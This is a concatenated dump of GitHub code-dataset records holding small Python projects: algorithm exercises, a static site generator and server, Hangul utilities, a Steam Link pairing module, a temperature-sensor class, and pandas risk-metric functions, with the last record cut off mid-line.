x,y=k\n for c1 in range(4):\n m1,n1=x+r[c1],y+c[c1]\n if 0<=m1<m and 0<=n1<n and (m1,n1) not in seen:\n # print(m1,n1)\n if matrix[m1][n1]==0:\n return level\n new_q.append((m1,n1))\n seen.add((m1,n1))\n queue=new_q\n level+=1\n return\n\ndef updateMatrix( matrix):\n seen=set()\n new_mat=[]\n # print(new_mat)\n for i in range(len(matrix)):\n list1=[]\n for j in range(len(matrix[0])):\n if matrix[i][j]==1:\n\n list1.append(bfs(matrix,len(matrix),len(matrix[0]),i,j))\n else:\n list1.append(matrix[i][j])\n new_mat.append(list1)\n return new_mat\n\nprint(updateMatrix(mat))","repo_name":"himanshu9345/Leet-Code-Practice","sub_path":"Queue & Stack/01 Matrix.py","file_name":"01 Matrix.py","file_ext":"py","file_size_in_byte":1016,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"24050777332","text":"import os\nimport sys\nimport time\nimport posixpath\nimport threading\n\nif sys.version > '3':\n import urllib.parse\n from http.server import HTTPServer\n from http.server import SimpleHTTPRequestHandler\nelse:\n import urllib\n from BaseHTTPServer import HTTPServer\n from SimpleHTTPServer import SimpleHTTPRequestHandler\n\nfrom . import tags\nfrom . import utils\nfrom . import templatelang\n\ndef build_file(filename, outfilename, root='.', create_dir=True):\n filepath = os.path.join(root, filename)\n with utils.open_file(filepath) as infile:\n try:\n if sys.version > '3':\n content = str(infile.read(), 'utf-8')\n else:\n content = unicode(infile.read(), 'utf-8')\n output = tags.render(content, filename=filename, rootdir=root)\n except templatelang.ParseBaseException as e:\n utils.print_parse_exception(e, filename)\n return\n\n with utils.open_file(outfilename, \"w\", create_dir=create_dir) as outfile:\n if sys.version > '3':\n outfile.write(output)\n else:\n outfile.write(output.encode('utf-8'))\n\n \ndef build_files(root='.', dest='_site', pattern='**/*.html', \n exclude='_*/**', watch=False, force=False):\n try:\n os.stat(os.path.join(root, 'index.html'))\n except OSError:\n if not force:\n msg = \"Oops, we can't find an index.html in the source folder.\\n\"+\\\n \"If you want to build this folder anyway, use the --force\\n\"+\\\n \"option.\"\n print(msg)\n sys.exit(1)\n\n print(\"Building site from '{0}' into '{1}'\".format(root, dest))\n\n exclude = exclude or os.path.join(dest, '**')\n for filename in utils.walk_folder(root or '.'):\n included = utils.matches_pattern(pattern, filename)\n excluded = utils.matches_pattern(exclude, filename)\n destfile = os.path.join(dest, filename)\n if included and not excluded: \n build_file(filename, destfile, root=root)\n elif not excluded:\n filepath = os.path.join(root, filename)\n destpath = os.path.join(dest, filename)\n utils.copy_file(filepath, destpath)\n\n if watch:\n observer = _watch(root=root,\n dest=dest,\n pattern=pattern,\n exclude=exclude)\n if not observer:\n return\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n observer.stop()\n observer.join()\n\n\ndef _watch(root='.', dest='_site', pattern='**/*.html', exclude='_*/**'):\n\n try:\n from watchdog.observers import Observer\n from watchdog.events import FileSystemEventHandler\n except ImportError:\n msg = \"The build --watch feature requires watchdog. \\n\"\\\n + \"Please install it with 'easy_install watchdog'.\"\n print(msg)\n return None\n\n class handler(FileSystemEventHandler):\n def on_any_event(self, event):\n exclude_path = os.path.join(os.getcwd(), exclude)\n if not utils.matches_pattern(exclude_path, event.src_path):\n build_files(root=root,\n dest=dest,\n pattern=pattern,\n exclude=exclude)\n\n observer = Observer()\n observer.schedule(handler(), root, recursive=True)\n observer.start()\n\n print(\"Watching '{0}' ...\".format(root))\n\n return observer\n\n\ndef serve_files(root='.', dest='_site', pattern='**/*.html', \n exclude='_*/**', watch=False, port=8000, force=False):\n\n # setup server\n\n class RequestHandler(SimpleHTTPRequestHandler):\n \n def translate_path(self, path):\n root = os.path.join(os.getcwd(), dest)\n\n # normalize path and prepend root directory\n path = path.split('?',1)[0]\n path = path.split('#',1)[0]\n if sys.version > '3':\n path = posixpath.normpath(urllib.parse.unquote(path))\n else:\n path = posixpath.normpath(urllib.unquote(path))\n words = path.split('/')\n words = [_f for _f in words if _f]\n \n path = root\n for word in words:\n drive, word = os.path.splitdrive(word)\n head, word = os.path.split(word)\n if word in (os.curdir, os.pardir):\n continue\n path = os.path.join(path, word)\n\n return path\n\n class StoppableHTTPServer(HTTPServer):\n\n def serve_until_shutdown(self):\n self._stopped = False\n while not self._stopped:\n try:\n httpd.handle_request()\n except:\n self._stopped=True\n self.server_close()\n\n\n def shutdown(self):\n self._stopped = True \n self.server_close()\n\n server_address = ('', port)\n httpd = StoppableHTTPServer(server_address, RequestHandler)\n server_thread = threading.Thread(\n target=httpd.serve_until_shutdown)\n server_thread.daemon = True\n server_thread.start()\n\n print(\"HTTP server started on port {0}\".format(server_address[1]))\n\n # build files\n\n build_files(root=root,\n dest=dest,\n pattern=pattern,\n exclude=exclude,\n force=force)\n\n # watch files while server running\n\n if watch:\n observer = _watch(root=root,\n dest=dest,\n pattern=pattern,\n exclude=exclude)\n if not observer:\n return\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n observer.stop()\n httpd.shutdown()\n observer.join()\n\n else:\n try:\n while True:\n time.sleep(1)\n except KeyboardInterrupt:\n httpd.shutdown()\n\n\n\nNEW_INDEX_STR = \"\"\"<!DOCTYPE html>\n<html>\n{% include _partials/header.html %}\n<body>\n {% include _partials/nav.html %}\n <h1>Welcome!</h1>\n</body>\n</html>\"\"\"\n\nNEW_ABOUT_STR = \"\"\"<!DOCTYPE html>\n<html>\n{% include _partials/header.html %}\n<body>\n {% include _partials/nav.html %}\n <h1>About!</h1>\n</body>\n</html>\"\"\"\n\nNEW_HEADER_STR = \"\"\"\n<head>\n <title>My new site\n \n\"\"\"\n\nNEW_NAV_STR = \"\"\"\n \"\"\"\n\nNEW_STYLE_STR = \"\"\".active {font-weight:bold;}\"\"\"\n\nNEW_SITE = {\n 'index.html': NEW_INDEX_STR,\n 'about.html': NEW_ABOUT_STR,\n '_partials/header.html': NEW_HEADER_STR,\n '_partials/nav.html': NEW_NAV_STR,\n 'css/style.css': NEW_STYLE_STR\n}\n\ndef new_site(root='.', force=False):\n try:\n os.stat(os.path.join(root, 'index.html'))\n if not force:\n msg = \"Oops, there's already an index.html file in the source \\n\"+\\\n \"folder. If you want to overwrite this folder with a new \\n\"+\\\n \"site, use the --force option.\"\n print(msg)\n sys.exit(1)\n except OSError:\n pass\n\n print(\"Creating new site in '{0}'.\".format(root))\n\n for fname, text in list(NEW_SITE.items()):\n fpath = os.path.join(root, fname)\n with utils.open_file(fpath, \"w\", create_dir=True) as afile:\n afile.write(text)\n","repo_name":"braceio/tags","sub_path":"tags/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":7669,"program_lang":"python","lang":"en","doc_type":"code","stars":193,"dataset":"github-code","pt":"44"} +{"seq_id":"7623786530","text":"class Node:\n def __init__(self,name):\n self.children = []\n self.name = name\n\n def addChild(self,name):\n self.children.append(Node(name))\n return self\n \n def dfs(self,array):\n array.append(self.name)\n for child in self.children:\n child.dfs(array)\n return array\n \nif __name__ == \"__main__\":\n graph = Node(\"A\")\n graph.addChild(\"B\").addChild(\"C\").addChild(\"D\")\n graph.children[0].addChild(\"E\").addChild(\"F\")\n graph.children[2].addChild(\"G\").addChild(\"H\")\n graph.children[0].children[1].addChild(\"I\").addChild(\"J\")\n \n graph.children[2].children[0].addChild(\"K\")\n \n print(graph.dfs([]))","repo_name":"kkawesum/OA-questions","sub_path":"advanced_series/algoexpert/easy/dfs_tree.py","file_name":"dfs_tree.py","file_ext":"py","file_size_in_byte":690,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"20085004401","text":"import re\nimport numpy as np\n\nkor_begin, kor_end = (44032, 55203)\njaum_begin, jaum_end = (912593, 12622)\nmoum_begin, moum_end = (12623, 12643)\nchosung_base = 588\njungsung_base = 28\n\nchosung_list = [ 'ㄱ', 'ㄲ', 'ㄴ', 'ㄷ', 'ㄸ', 'ㄹ', 'ㅁ', 'ㅂ', 'ㅃ', \n 'ㅅ', 'ㅆ', 'ㅇ' , 'ㅈ', 'ㅉ', 'ㅊ', 'ㅋ', 'ㅌ', 'ㅍ', 'ㅎ']\n\njungsung_list = ['ㅏ', 'ㅐ', 'ㅑ', 'ㅒ', 'ㅓ', 'ㅔ', \n 'ㅕ', 'ㅖ', 'ㅗ', 'ㅘ', 'ㅙ', 'ㅚ', \n 'ㅛ', 'ㅜ', 'ㅝ', 'ㅞ', 'ㅟ', 'ㅠ', \n 'ㅡ', 'ㅢ', 'ㅣ']\n\njongsung_list = [\n ' ', 'ㄱ', 'ㄲ', 'ㄳ', 'ㄴ', 'ㄵ', 'ㄶ', 'ㄷ',\n 'ㄹ', 'ㄺ', 'ㄻ', 'ㄼ', 'ㄽ', 'ㄾ', 'ㄿ', 'ㅀ', \n 'ㅁ', 'ㅂ', 'ㅄ', 'ㅅ', 'ㅆ', 'ㅇ', 'ㅈ', 'ㅊ', \n 'ㅋ', 'ㅌ', 'ㅍ', 'ㅎ']\n\njaum_list = ['ㄱ', 'ㄲ', 'ㄳ', 'ㄴ', 'ㄵ', 'ㄶ', 'ㄷ', 'ㄸ', 'ㄹ', \n 'ㄺ', 'ㄻ', 'ㄼ', 'ㄽ', 'ㄾ', 'ㄿ', 'ㅀ', 'ㅁ', 'ㅂ', \n 'ㅃ', 'ㅄ', 'ㅅ', 'ㅆ', 'ㅇ', 'ㅈ', 'ㅉ', 'ㅊ', 'ㅋ', 'ㅌ', 'ㅍ', 'ㅎ']\n\nmoum_list = ['ㅏ', 'ㅐ', 'ㅑ', 'ㅒ', 'ㅓ', 'ㅔ', 'ㅕ', 'ㅖ', 'ㅗ', 'ㅘ', \n 'ㅙ', 'ㅚ', 'ㅛ', 'ㅜ', 'ㅝ', 'ㅞ', 'ㅟ', 'ㅠ', 'ㅡ', 'ㅢ', 'ㅣ']\n\n\ndef compose(chosung, jungsung, jongsung):\n return chr(kor_begin + chosung_base * chosung_list.index(chosung) + jungsung_base * jungsung_list.index(jungsung) + jongsung_list.index(jongsung))\n\ndef decompose(c): \n if not character_is_korean(c):\n return None\n i = ord(c)\n if (jaum_begin <= i <= jaum_end):\n return (c, ' ', ' ')\n if (moum_begin <= i <= moum_end):\n return (' ', c, ' ') \n i -= kor_begin\n cho = i // chosung_base\n jung = ( i - cho * chosung_base ) // jungsung_base \n jong = ( i - cho * chosung_base - jung * jungsung_base ) \n return (chosung_list[cho], jungsung_list[jung], jongsung_list[jong])\n\ndef character_is_korean(c):\n i = ord(c)\n return (kor_begin <= i <= kor_end) or (jaum_begin <= i <= jaum_end) or (moum_begin <= i <= moum_end)","repo_name":"lovit/python_ml4nlp","sub_path":"day7_string_distance/inverted_index_for_hangle_editdistance/fast_hangle_levenshtein/_hangle.py","file_name":"_hangle.py","file_ext":"py","file_size_in_byte":2024,"program_lang":"python","lang":"en","doc_type":"code","stars":40,"dataset":"github-code","pt":"44"} +{"seq_id":"72706133573","text":"from fileweaver.base import graph\nfrom fileweaver.base import linking\nfrom fileweaver.base import cooking\nfrom fileweaver.base import managing\nfrom fileweaver.read_write import readwrite\n\n\ndef map_incoming_message_from_websocket(msg):\n print(msg)\n line = msg.rstrip(\"\\n\").split(\",\")\n\n # logging.info(line)\n #### Single file operations\n if \"addFileAndChildren\" in line[0]:\n # logging.info(\"addFileAndChildren\")\n print(\"addFileAndChildren\")\n file = line[1]\n print(\"file\", file)\n cooking.add_file_and_children(file)\n\n elif \"copyFileWithDependencies\" in line[0]:\n # logging.info(\"copyFileWithDependencies\")\n file = line[1]\n managing.copy_link(file)\n\n elif \"makeStandaloneArchiveRun\" in line[0]:\n # logging.info(\"makeStandaloneArchiveRun\")\n file = line[1]\n managing.make_archive(file, mode=\"full\", runnable=True)\n\n elif \"makeStandaloneArchiveFlat\" in line[0]:\n # logging.info(\"makeStandaloneArchiveFlat\")\n file = line[1]\n managing.make_archive(file, mode=\"full\", runnable=False)\n\n elif \"editFileAndUpdate\" in line[0]:\n # logging.info(\"editFileAndUpdate\")\n file = line[1]\n cooking.edit_linked_file(file)\n\n elif \"removeFileAsLink\" in line[0]:\n # logging.info(\"removeFileAsLink\")\n file = line[1]\n managing.un_link(file)\n\n elif \"tagFile\" in line[0]:\n # logging.info(\"tagFile\")\n file = line[1]\n managing.tag_link(file)\n elif \"showInFileBrowser\" in line[0]:\n # logging.info(\"showInFileBrowser\")\n file = line[1]\n managing.call_naut(file)\n\n #### Multifile operations\n elif \"connectFiles\" in line[0]:\n # logging.info(\"connectFiles\")\n files = line[1:]\n managing.attach_link(files)\n\n elif \"disconnectFiles\" in line[0]:\n # logging.info(\"disconnectFiles\")\n files = line[1:]\n managing.detach_link(files)\n\n elif \"morphFiles\" in line[0]:\n # logging.info(\"morphFiles\")\n files = line[1:]\n managing.morph(files)\n\n elif \"tagGroupOfFiles\" in line[0]:\n # logging.info(\"tagGroupOfFiles\")\n files = line[1:]\n managing.grouptag_links(files)\n elif \"CompareFiles\" in line[0]:\n # logging.info(\"CompareFiles\")\n filename = line[1]\n versions = line[2:]\n # nautgit.show_diff_versions(filename, versions)\n\n else:\n print(line)\n print(\n \"command not found. don't forget to change this when connecting to the node js part for real.\"\n )\n\n # logging.info(\"unknown command\")\n # logging.info(line)\n","repo_name":"jgori-ouistiti/FileWeaver","sub_path":"fileweaver/read_write/map_incoming_messages.py","file_name":"map_incoming_messages.py","file_ext":"py","file_size_in_byte":2649,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"26691784365","text":"from random import choice\n\na = \"hello world\"\nchoices = [\"up\", \"low\"]\nn = 0\nc = \"\"\n\n\nfor i in a:\n b = choice(choices)\n if b == \"up\":\n c = c + a[n].upper()\n else:\n c = c + a[n].lower()\n n +=1\nprint(c)\n","repo_name":"Aniket965/Hello-world","sub_path":"Python/hello-world-random-caps.py","file_name":"hello-world-random-caps.py","file_ext":"py","file_size_in_byte":209,"program_lang":"python","lang":"en","doc_type":"code","stars":1462,"dataset":"github-code","pt":"44"} +{"seq_id":"1280995176","text":"from django.contrib.gis.db import models\n\n#\n# FeedEntry is a container for the information stored in each Philly Fire News post\n#\nclass Facility(models.Model):\n\n ogc_fid = models.AutoField(primary_key=True,db_column='ogc_fid')\n\n engineId = models.IntegerField(db_column='eng')\n ladderId = models.IntegerField(db_column='lad')\n medicId = models.IntegerField(db_column='med')\n locationStr = models.CharField(max_length=36,db_column='location')\n point = models.GeometryField(db_column='wkb_geometry')\n\n def __str__(self):\n return \"id:{id} location:{location} x={x} y={y} engine:{engine} ladder:{ladder}\".format(\n id=self.ogc_fid,\n location=self.locationStr,\n x=self.point.x,\n y=self.point.y,\n engine=self.engineId,\n ladder=self.ladderId\n )\n\n class Meta:\n db_table = \"fire_dept_facilities\"\n\nclass FacilityManager(models.Manager):\n\n def create_feed_entry( self, dataList ):\n facility = FireIncident()\n feedEntry.postTitleStr = dataList.title.encode( 'utf-8','replace' )\n feedEntry.postLinkStr = dataList.link.encode( 'utf-8','replace' )\n feedEntry.postDateStr = dataList.published.encode( 'utf-8','replace' )\n \n contentObj = PostContentHtml( dataList.content )\n \n feedEntry.fireDateStr = contentObj.fireDate.encode( 'utf-8','replace' )\n feedEntry.fireTimeStr = contentObj.fireTime.encode( 'utf-8','replace' )\n feedEntry.fireAddressRaw = contentObj.fireAddress.encode( 'utf-8','replace' )\n feedEntry.fireAddressStr = self.scrubAddress( feedEntry.fireAddressRaw )\n feedEntry.fireTypeStr = contentObj.fireType.encode( 'utf-8','replace' )\n feedEntry.fireDetailsStr = contentObj.fireDetails.encode( 'utf-8','replace' )\n\n return feedEntry","repo_name":"amberheilman/StationDown","sub_path":"stationdown/firestations/facility.py","file_name":"facility.py","file_ext":"py","file_size_in_byte":1846,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"44"} +{"seq_id":"22263291075","text":"'''\nGiven an array of strings strs, group the anagrams together. You can return the answer in any order.\n\nAn Anagram is a word or phrase formed by rearranging the letters of a different word or phrase, \ntypically using all the original letters exactly once.\n\nExample 1:\n\nInput: strs = [\"eat\",\"tea\",\"tan\",\"ate\",\"nat\",\"bat\"]\nOutput: [[\"bat\"],[\"nat\",\"tan\"],[\"ate\",\"eat\",\"tea\"]]\nExample 2:\n\nInput: strs = [\"\"]\nOutput: [[\"\"]]\nExample 3:\n\nInput: strs = [\"a\"]\nOutput: [[\"a\"]]\n\nConstraints:\n\n1 <= strs.length <= 104\n0 <= strs[i].length <= 100\nstrs[i] consists of lowercase English letters.\n'''\n\nclass Solution(object):\n def groupAnagrams(self, strs):\n \n if len(strs) <= 1:\n return strs\n\n # final\n final_list = []\n anagrams = []\n\n # while 'strs' list is not empty/null\n while strs:\n \n sorted_str_first = ''.join(sorted(strs[0]))\n anagrams.append(strs[0])\n strs.remove(strs[0])\n\n for i in range(1, len(strs)):\n \n # print(\"LOOP\", i)\n sorted_str = ''.join(sorted(strs[i]))\n \n if sorted_str_first == sorted_str:\n anagrams.append(strs[i])\n strs.remove(strs[i])\n \n final_list.append(anagrams)\n anagrams = []\n \n return final_list\n\n print(len(strs))\n\n'''\nclass Solution:\n def groupAnagrams(self, strs: List[str]) -> List[List[str]]:\n \n # will store the sorted value as key and its original strings as values\n dic = {}\n\n for i in strs:\n \n word = ''.join(sorted(i))\n \n # if word is already in dictionary as key\n # append the original unsorted string to the sub list\n if word in dic:\n dic[word].append(i)\n\n # if word is not in dictionary\n # create a sub list and add it there\n else:\n dic[word] = [i]\n\n return list(dic.values())\n'''\n\n\n\n","repo_name":"sohamgupta100/dsa","sub_path":"string/medium_group_anagrams_leetcode.py","file_name":"medium_group_anagrams_leetcode.py","file_ext":"py","file_size_in_byte":2067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"13850410225","text":"import math\nclass Solution(object):\n def isPowerOfThree(self, n):\n \"\"\"\n :type n: int\n :rtype: bool\n \"\"\"\n \n epsilon = .0000000001\n if n<=0 :\n return False\n return (math.log(n) / math.log(3) + epsilon) % 1 <= 2 * epsilon\n\n \nn = 728\nsol = Solution()\nprint(sol.isPowerOfThree(n))\n","repo_name":"ProtikBose/Programming-Practice","sub_path":"Math/Power of three.py","file_name":"Power of three.py","file_ext":"py","file_size_in_byte":353,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"1693695070","text":"import os.path\nfrom base64 import b64decode\n\nimport yaml\nfrom google.protobuf.message import Message\n\nfrom protobuf.steammessages_remoteclient_discovery_pb2 import CMsgRemoteDeviceAuthorizationRequest\nfrom service import ccrypto\nfrom service.common import get_device_id, device_token\n\nwith open(os.path.join(os.path.dirname(__file__), 'pubkey.yml')) as f:\n keys = yaml.load(f, Loader=yaml.FullLoader)\n\n\ndef authorization_req_rsa_pubkey(universe: int) -> bytes:\n if universe > 4:\n raise ValueError(f'Unsupported universe {universe}')\n return b64decode(keys[min(universe, 3)])\n\n\ndef authorization_req_ticket_plain(dev_id: int, pin: str, enc_key: bytes, name: str) -> Message:\n ticket = CMsgRemoteDeviceAuthorizationRequest.CKeyEscrow_Ticket()\n ticket.password = pin.encode('utf-8')\n ticket.identifier = dev_id\n ticket.payload = enc_key\n ticket.usage = 0 # k_EKeyEscrowUsageStreamingDevice\n ticket.device_name = name\n ticket.device_model = '1234'\n ticket.device_serial = 'A1B2C3D4E5'\n ticket.device_provisioning_id = 123456\n return ticket\n\n\ndef authorization_req(universe: int, device_name: str, enc_key: bytes, pin: str) -> Message:\n pubkey = authorization_req_rsa_pubkey(universe)\n device_id = get_device_id()\n plain = authorization_req_ticket_plain(device_id, pin, enc_key, device_name)\n encrypted_request = ccrypto.rsa_encrypt(plain.SerializeToString(), pubkey)\n return CMsgRemoteDeviceAuthorizationRequest(device_token=device_token(device_id, enc_key), device_name=device_name,\n encrypted_request=encrypted_request)\n","repo_name":"mariotaku/steamlink.py","sub_path":"service/pairing.py","file_name":"pairing.py","file_ext":"py","file_size_in_byte":1627,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"44"} +{"seq_id":"15258167842","text":"fname = input('Enter File: ')\nif len(fname) < 1 : fname = 'clown.txt'\n\nhand = open(fname)\n\ndi = dict()\nfor lin in hand:\n lin = lin.rstrip()\n wds = lin.split()\n for word in wds:\n di[word] = di.get(word, 0) + 1\n\n# print(di)\n\ntmp = list()\nfor k, v in di.items():\n # print(k, v)\n newt = (v, k)\n tmp.append(newt)\n\n# print(tmp)\n\ntmp = sorted(tmp, reverse=True)\nprint(tmp[:5])\n\nfor v, k in tmp[:5]:\n print(k, v)\n","repo_name":"ganzik83/TIL","sub_path":"Code ex/programming/python/tuple 연습문제 (유니코드 인코딩 충돌).py","file_name":"tuple 연습문제 (유니코드 인코딩 충돌).py","file_ext":"py","file_size_in_byte":433,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"43313119424","text":"import logging\nfrom gym.envs.registration import register\n\nlogger = logging.getLogger(__name__)\n\nregister(\n id='DoNotRepeatYourself-v0',\n entry_point='gym_do_not_repeat_yourself.envs:DoNotRepeatYourselfEnv',\n# timestep_limit=1000,\n# reward_threshold=1.0,\n# nondeterministic = True,\n)\n","repo_name":"ihadanny/IANNA","sub_path":"gym_do_not_repeat_yourself/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"37175190496","text":"import logging\nimport json\nimport requests\n\n\ndef lambda_handler(event, context):\n logging.info(f\"Received event: {event}\")\n\n event_body = json.loads(event.get(\"body\", \"{}\"))\n\n try:\n user = json.loads(requests.get(f\"http://femr-central-api.us-west-2.elasticbeanstalk.com/user/{event_body.get('email')}/\").text)\n except:\n user = None\n\n if user is None or user.get(\"password\") != event_body.get(\"password\"):\n is_accepted = False\n else:\n is_accepted = True\n\n return {\n 'statusCode': 200,\n 'headers': {\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'GET',\n 'Access-Control-Allow-Headers': 'Content-Type',\n },\n 'body': json.dumps({\n \"accepted\": str(is_accepted)\n })\n }\n","repo_name":"henrypigg/fibula-aws","sub_path":"resources/lambdas/login_handler.py","file_name":"login_handler.py","file_ext":"py","file_size_in_byte":818,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"33394793442","text":"class DS18B20:\n def __init__(self, adres_1='28-0516a2d372ff', adres_2='28-0316a2ed4eff', adres_3='28-0316a2d7aeff', adres_4='28-0516a2e15dff'):\n self.__Sensor_Adressen = []\n self.__Sensors = []\n if adres_1 != '':\n self.__Sensor_Adressen.append(str(adres_1))\n if adres_2 != '':\n self.__Sensor_Adressen.append(str(adres_2))\n if adres_3 != '':\n self.__Sensor_Adressen.append(str(adres_3))\n if adres_4 != '':\n self.__Sensor_Adressen.append(str(adres_4))\n self.__sensor_Setup()\n\n def __sensor_Setup(self):\n for adres in self.__Sensor_Adressen:\n self.__Sensors.append('/sys/bus/w1/devices/' + str(adres) + '/w1_slave')\n\n def __read_temp_raw(self):\n lines = []\n waarde = []\n counter = 0\n for sensor in self.__Sensors:\n f = open(sensor, 'r')\n waarde.append(f.readlines())\n # print(waarde)\n lines.append(waarde[counter][1])\n # print('read temp raw: ' + str(lines))\n f.close()\n counter += 1\n return lines\n\n def __read_temps(self):\n lines = self.__read_temp_raw()\n temperatuur_list = []\n for data in lines:\n equals_pos = data.find('t=')\n # print('equals pos: ' + str(equals_pos))\n if equals_pos != -1:\n temp = data\n # print('Temp list location: ' + str(i))\n temp = temp[29:34]\n # print('Temp string: ' + str(temp))\n temperatuur_list.append(int(temp) / 1000.0)\n # print('Temp List: ' + str(temperatuur_list))\n return temperatuur_list\n\n def __read_temp_raw_one(self, number=0):\n line = []\n waarde = []\n f = open(self.__Sensors[number], 'r')\n waarde.append(f.readlines())\n line.append(waarde[0][1])\n f.close()\n return line\n\n def read_average_temps(self):\n average = 0\n for i in self.__read_temps():\n average += i\n return round(average / 4, 2)\n\n def read_one_sensor(self, sensor_number=0):\n temperatuur = 0\n line = self.__read_temp_raw_one(sensor_number)\n for data in line:\n equals_pos = data.find('t=')\n if equals_pos != -1:\n temp = data[29:34]\n temperatuur = int(temp) / 1000.0\n\n # equals_pos = line.find('t=')\n # if equals_pos != -1:\n # temp = line[29:34]\n # temperatuur.append(int(temp) / 1000.0)\n return temperatuur\n\n# try:\n# temp_sensors = DS18B20('28-0516a2d372ff', '28-0316a2ed4eff', '28-0316a2d7aeff', '28-0516a2e15dff')\n# while True:\n# print('AVG: ' + str(temp_sensors.read_average_temps()))\n# print('1: '+str(temp_sensors.read_one_sensor(0)))\n# print('2:'+str(temp_sensors.read_one_sensor(1)))\n# print('3:'+str(temp_sensors.read_one_sensor(2)))\n# print('4: '+str(temp_sensors.read_one_sensor(3)))\n# print('\\n')\n# except KeyboardInterrupt:\n# print('\\nSTOPPED')\n","repo_name":"DeLeersnijderYentl/Flask","sub_path":"Flask/static/CLASS_DS18B20.py","file_name":"CLASS_DS18B20.py","file_ext":"py","file_size_in_byte":3108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"19125669695","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# @Time : 2021/7/21 下午5:52\n# @Author : CaoV\n# @File : VarStatis.py\n# @Software: PyCharm\n\nimport pandas as pd\nimport numpy as np\n\n\ndef cal_val_apply(data_bin, x, if_pas):\n\n grouped = data_bin.groupby(x)[if_pas]\n result_df = grouped.agg([('apply_cnt', 'count'),\n ('accept_cnt', lambda y: (y == 1).sum()),\n ])\n apply_sum = result_df['apply_cnt'].sum()\n accept_sum = result_df['accept_cnt'].sum()\n\n result_df.loc['总计',:] = result_df.sum(axis= 0)\n result_df['apply_pct'] = result_df['apply_cnt']/apply_sum\n result_df['accept_pct'] = result_df['accept_cnt']/accept_sum\n result_df['accept%'] = result_df['accept_cnt']/result_df['apply_cnt']\n return result_df\n\n\ndef cal_val_target(data_bin, x, target, prefix):\n grouped = data_bin.groupby(x)[target]\n result_df = grouped.agg([('%s_total'%prefix, 'count'),\n ('%s_bad'%prefix, lambda y: (y == 1).sum()),\n ])\n total_sum = result_df['%s_total'%prefix].sum()\n bad_sum = result_df['%s_bad'%prefix].sum()\n total_bad_rate = bad_sum/total_sum\n\n result_df.loc['总计',:] = result_df.sum(axis= 0)\n # result_df['total%'] = result_df['%s_total'%prefix]/total_sum\n # result_df['bad%'] = result_df['%s_bad'%prefix]/bad_sum\n result_df['%s_bad%%'%prefix] = result_df['%s_bad'%prefix]/result_df['%s_total'%prefix]\n result_df['%s_lift'%prefix] = result_df['%s_bad%%'%prefix]/total_bad_rate\n return result_df\n\ndef cal_val_target_amt(data_bin, x, prefix, rep_amt,ovd_amt):\n result_df = data_bin.groupby([x])[[rep_amt,ovd_amt]].sum()\n result_df.columns = ['%s_rep_amt'%prefix, '%s_ovd_amt'%prefix]\n rep_sum = result_df['%s_rep_amt'%prefix].sum()\n ovd_sum = result_df['%s_ovd_amt'%prefix].sum()\n total_bad_rate = ovd_sum/rep_sum\n result_df.loc['总计',:] = result_df.sum(axis= 0)\n result_df['%s_amt_bad%%'%prefix] = result_df['%s_ovd_amt'%prefix]/result_df['%s_rep_amt'%prefix]\n result_df['%s_amt_lift'%prefix] = result_df['%s_amt_bad%%'%prefix]/total_bad_rate\n return result_df\n\n\n\ndef combine_risk_metrics_table(data_bin, if_pas, x, params_list):\n '''\n :param data_bin: dataframe,全量分箱好的样本，包含交易未交易\n :param if_pas: str, 判断是否交易的字段名\n :param x: str,\n :param params_list: list,\n eg:[{'if_mob':'if_mob_d10', 'target': 'flag_1_10', 'ovd_amt':'fst_ovr_due_d10_amt', 'rep_amt':'fst_rep_d10_amt', 'prefix':'FPD10'}\n ,{'if_mob':'if_mob_d30', 'target': 'flag_1_30', 'ovd_amt':'fst_ovr_due_d30_amt', 'rep_amt':'fst_rep_d30_amt', 'prefix':'FPD30'}\n ]\n :return: dataframe\n '''\n\n df_apply = cal_val_apply(data_bin = data_bin, x = x, if_pas = if_pas)\n\n for i, params_dict in enumerate(params_list):\n # 去灰，如果不去灰，后面cal_val_....函数会报错\n data_model_bin = data_bin[(data_bin[params_dict['if_mob']] == 1) & (data_bin[params_dict['target']].isin([0,1]))]\n\n df_target = cal_val_target(data_bin = data_model_bin\n , x = x\n , target = params_dict['target']\n , prefix = params_dict['prefix']\n )\n df_target_amt = cal_val_target_amt(data_bin = data_model_bin\n , x = x\n , rep_amt = params_dict['rep_amt']\n , ovd_amt = params_dict['ovd_amt']\n , prefix = params_dict['prefix']\n )\n if i == 0 :\n df_target_res = pd.concat([df_target, df_target_amt],axis= 1)\n else:\n df_target_res = pd.concat([df_target_res, df_target, df_target_amt],axis= 1)\n\n df_res = pd.concat([df_apply, df_target_res], axis = 1)\n return df_res\n\n\ndef combine_stable_metrics_table(data_bin, tim, x, target, freq):\n '''\n 计算变量时间维度稳定指标\n :param data_bin:\n :param tim:\n :param x:\n :param target:\n :param freq: str, 'M' month or 'Q' quarter\n :return:\n '''\n\n data = data_bin.loc[:, [x, tim, target]]\n\n # check param 'freq'\n try:\n if freq =='M':\n data['by_tim'] = data[tim].str[2:7]\n elif freq == 'Q':\n data[tim] =pd.to_datetime(data[tim])\n data['by_tim'] = data[tim].apply(lambda x: str(x.year)[2:] +'-Q' + str(x.quarter))\n else:\n pass\n except Exception as e:\n ValueError('>>>check param \\'freq\\', use \\'M\\' or \\'Q\\' instead 